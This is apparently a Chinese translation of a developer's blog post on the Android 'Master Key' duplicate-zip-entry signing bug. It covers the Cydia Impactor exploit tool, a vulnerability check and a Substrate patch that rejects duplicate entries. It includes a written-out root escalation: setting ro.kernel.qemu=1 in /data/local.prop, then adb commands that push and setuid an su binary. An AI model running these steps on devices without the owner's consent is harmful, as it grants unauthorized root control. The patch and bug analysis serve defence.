结果就是被我称为Cydia Impactor的第一个版本,它是一个执行设备维护任务的工具。我已经编译了一个可以运行在MAC OS X(10.7+)及Windows上的图形界面应用。它内置了自动升级检查,并且不需要输入验证码就可以下载。
为了完全自动化破解,Impactor会扫描设备上所有的apk文件以找到一个系统应用(通过对一些常用的apk的名字进行启发式检查)。同时它包含了一个自己实现的jdwp(Java Debug Wire Protocol )来实现自动化调试。
下载和安装了Impactor之后,当前版本允许你指定一条以system用户运行的命令。当你点击“Start”后,它会使用这个漏洞运行这条命令。现在,还没有自动化方法获取root。因为我还没有找到从system到root的方法。
不过,我打算在将来添加更多的功能到这个工具里,比如像logcat查看器以及自动安装Cydia Substrate 这样简单的东西,或者像以设备无关的方式不借助除fastboot oem unlock之外的手段通过setuid root安装su(即使没有内核源码)这类复杂的功能。
用户可以通过下面的链接下载Impactor:Mac OS X ,Windows 。这些链接总是指向最新的Impactor版本(它们会被重定向到指定的版本的URL,并且会自动更新)。因此,你们可以在论坛或Twitter上随便发表它们。
获取Root
下一个目标就是在你的设备上获取root。如果你在使用Android 4.0或之前的版本,或者某些版本的Android 4.1,你可以使用我最近发表的文章“Exploiting a Bug in Google’s Glass ”中提到的相同的技术——使用/data/local.prop来设置“在模拟器运行”属性,这会使adb以root运行。(这在很多最近的Android版本上已经不能使用了,一部分原因是这个属性的唯一功能看起来就是用来被破解的。一些设备制造商,包括索尼,即使在老版本的Android上也会禁用此文件。因为他们不希望用户使用它来从system用户提升到root)
如果你使用Impactor,你可以直接执行命令来设置这个文件的内容。否则,你需要花更多的时间来使用jdb来传递一些字符串来执行,或者上传一个shell脚本来间接执行,或者通过以system权限运行的telnetd来运行命令。
system@android:/ $ echo ro.kernel.qemu=1 >/data/local.prop
现在,你可以重启你的设备。当系统起来后,由于模拟器的兼容性问题可能会有一些错误提示。不过你可以使用adb了,它会以root运行。你只需要将su(可以从我的服务器下载 )push到手机,设置setuid,去掉破解文件,然后重启手机。
$ adb reboot
$ adb shell mount -o remount,rw /system
$ adb push su /system/xbin
$ adb shell chmod 6755 /system/xbin/su
$ adb shell rm /data/local.prop
$ adb reboot
现在,当你的设备重启后,你应该不会再看到有错误了。你的adb shell还是会像之前一样被限制,因为你的设备不再有我们修改过后属性文件了。不过,因为我们已经安装了su并且赋予了它相应的权限,你就能够通过adb随时获取root权限了。你现在可以安装更复杂的su应用了。
检查漏洞
现在,用户可能会想知道他们是否存在这个漏洞。就目前的情况来看,大部分设备是这样的。但你也可能使用的是比较新的设备,是没有这个漏洞的。你可能使用的是第三方ROM(比如CyanogenMod),可能此漏洞被修复了(假设你经常升级)。
不爽的是,Bluebox发布了一个可以检查你的设备是否有此漏洞(文章:Scan Your Device for Android “Master Key” Vulnerability ),很多人反馈说它会经常说你的设备有漏洞,但其实是没有的。它的问题是,不应该缺省认为有漏洞,而应该缺省没有(原文:that said, false negatives are the real problem here, not false positives)。
还有一种选择是SRT AppScanner ,可以在Play Store上找到(这个对我也不起作用)。可能ReKey 可以检测出来(与仅仅修复不同,不是很清楚)。终于,我找到一个程序——Tool to detect Bluebox exploits (可以检查apk)。
不幸的是,这些工具有时候不起作用。一个可能的原因是,根据X-Ray (另外一个漏洞扫描工具,但不能检查Master Key这个漏洞)网站上说的,扫描Android设备漏洞的应用是违反Play Store的服务条款的。
我们可以理解用户更喜欢从Play Store上安装app,特别是这些app是安全相关的。不幸的,Google告诉我们Play Store的服务条款不允许像X-Ray这样的检查Android漏洞的应用。
我主要想说的是,如果你在使用这些软件时遇到问题,它说你是安全的,或者你不相信它们,你可以尝试利用这些漏洞——你可以让Cydia Impactor做一些无意义的事(比如说简单地让它执行echo),来看看是否会出错。
修补这个BUG
在前面提到的CIO的文章 中,人们的焦点在于Android补本发布的周期是相当慢的——平台上的bug最后经常是在相当长的一段时间里都没有被修复,特别是在一些特殊的设备上,由于大量的制造商和配置,一些设备永远得不到修复。
通过截止目前的Android补丁发布历史可以看出,Bluebox的研究者发现的这个漏洞很可能会在很多设备上存在很长一段时间。特别是那些已经到了生命尽头,不被厂商支持的手机。
因此,为老的设备提供补丁就很有用了。在发布这样的漏洞利用工具的同时,我也花了点时间开发开发了使用Substrate(Cydia的代码修改平台,之前我在iOS平台上的漏洞工具,comex在JailbreakMe 2.0中使用到的)来修复这个bug。我认为这是个不错的体验。
针对这个bug,其他的一些人已经这样做了。其中一个是Xposed模块。比如Tungstwenty在XDA开发者论坛上最近发表的一个帖子 中发布的一个。除了使用Xposed(参看http://www.cydiasubstrate.org/id/34058d37-3198-414f-a696-73e97e0a80db/),也可以直接刷一个完整的包含补丁的ROM。(it is a rather blunt replace-the-while-thing “patch”)。
Tungstwenty的模块(在我写到这里的时候,它工作不太正常)同时也对#9695860 bug提供保护,这是我的工具目前所没有修复的(如果要做的话,我的这篇文章就要大大推迟了,并且我没有测试用例)。如果你没有使用过Xposed,并且在使用它的过程没有遇到问题,那么它会比我的扩展提供更多的保护。
Substrate扩展
要修复这个漏洞,看一下CyanogenMod的补丁 是非常有用的。如果不出意外的话,就我的理解而言,这也会是Google的补丁所采用的做法。尽管这样做看起来有些局限性,但采用同样的实现是合理的。它只是简单地拒绝了zip文件中相同名字的入口。
String entryName = newEntry.getName();
if (mEntries.put(entryName, newEntry) != null)
throw new ZipException(
"Duplicate entry name: " + entryName);
要实现类似的效果,我们首先新建一个基本的Substrate扩展(它会初始化对Java ZipFile类的classload的方法钩子)。要了解关于使用MS.hookClassLoad的更多信息,我建议你阅读Substrate API文档 。
public class Hook {
public static void initialize() {
MS.hookClassLoad("java.util.zip.ZipFile",
new MS.ClassLoadHook() {
public void classLoaded(Class<?> ZipFile$) {
当那个类加载时,我们需要找到mEntries字段。这个字段保存了一个LinkedHashMap。我们将修改这个字段,因此我们使用setAccessible(Hendy注:看起来就是反射的做法)。Substrate提供的方法,可以很简单地修改代码,但要解释的话就超出本文的范围了。要了解更多的信息,参看这篇文章 。
final Field ZipFile$mEntries =
ZipFile$.getDeclaredField("mEntries");
ZipFile$mEntries.setAccessible(true);
final Method ZipFile$readCentralDir =
ZipFile$.getDeclaredMethod("readCentralDir");
最后,我们使用Substrate提供的hookMethod方法 来修改ZipFile.readCentralDir的行为。与其重新实现readCentralDir(这会使得可能失去其它的一些安全补丁),我们找到问题的根本原因——LinkedHashMap支持重复的入口。我们通过子类化来修改它。
MS.hookMethod(ZipFile$, ZipFile$readCentralDir,
new MS.MethodAlteration<ZipFile, Void>()
{
public Void invoked(ZipFile thiz, Object... args)
throws Throwable
{
ZipFile$mEntries.set(thiz,
new LinkedHashMap<String, ZipEntry>() {
public ZipEntry put(
String key, ZipEntry value
) {
if (super.put(key, value) != null)
throw new IllegalArgumentException(
"Duplicate entry name: " + key);
return null;
}
}
);
return invoke(thiz, args);
}
});
要查看这个扩展的全部代码,可以从它的git仓库git://git.saurik.com/backport.git克隆代码。或者也可以使用我使用的Gitweb instance 在线查看 。如果你只需要安装apk,就可以从Cydia Gallery里面得到(在Substrate里面)。
总结
有人可能会想为什么会有这个bug。在上层,是由于当进行签名和校验的文件与使用的文件不一致时导致了签名校验的bug,使得攻击者可以对校验的内容使用正确的签名,但使用的时候却使用另外的内容。
在底层,问题的根源是使用了不同版本的“解压”操作的实现。在校验签名时使用的是java版本的实现,在Dalvik加载classes.dex时使用的是另外一个版本的实现,在加载其它文件(比如原生库文件以及XML资源)的时候使用的又是另外一个版本的实现(使了两种独立的遍历方式)。
对于需要签名加密和的内容,你应该保证只有一个实现,而不是三个(或者3个半)。好吧,如果我告诉你还有更多的实现呢?我对Android的代码库做了一个粗略的统计来查找unzip的实现,我发现有8个独立的解压逻辑的实现。frameworks/native/libs/utils/ZipFileRO.cpp libcore/luni/src/main/java/java/util/zip/ZipFile.java dalvik/libdex/ZipArchive.cpp bootable/recovery/minzip/Zip.c system/core/libzipfile/zipfile.c external/zlib/src/contrib/minizip/unzip.c build/tools/zipalign/ZipFile.cpp frameworks/base/tools/aapt/ZipFile.cpp
这样做真的是有病。其中的一些实现几乎是一样的,还有很多有着相似的来源,但没有哪两个文件是完全一致的。如果在其中的一个实现里发现一个bug,或者某些行为有改变(比如,这里的重复入口的问题),你希望同样的行为在所有的地方都能使用。这会使得很难。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)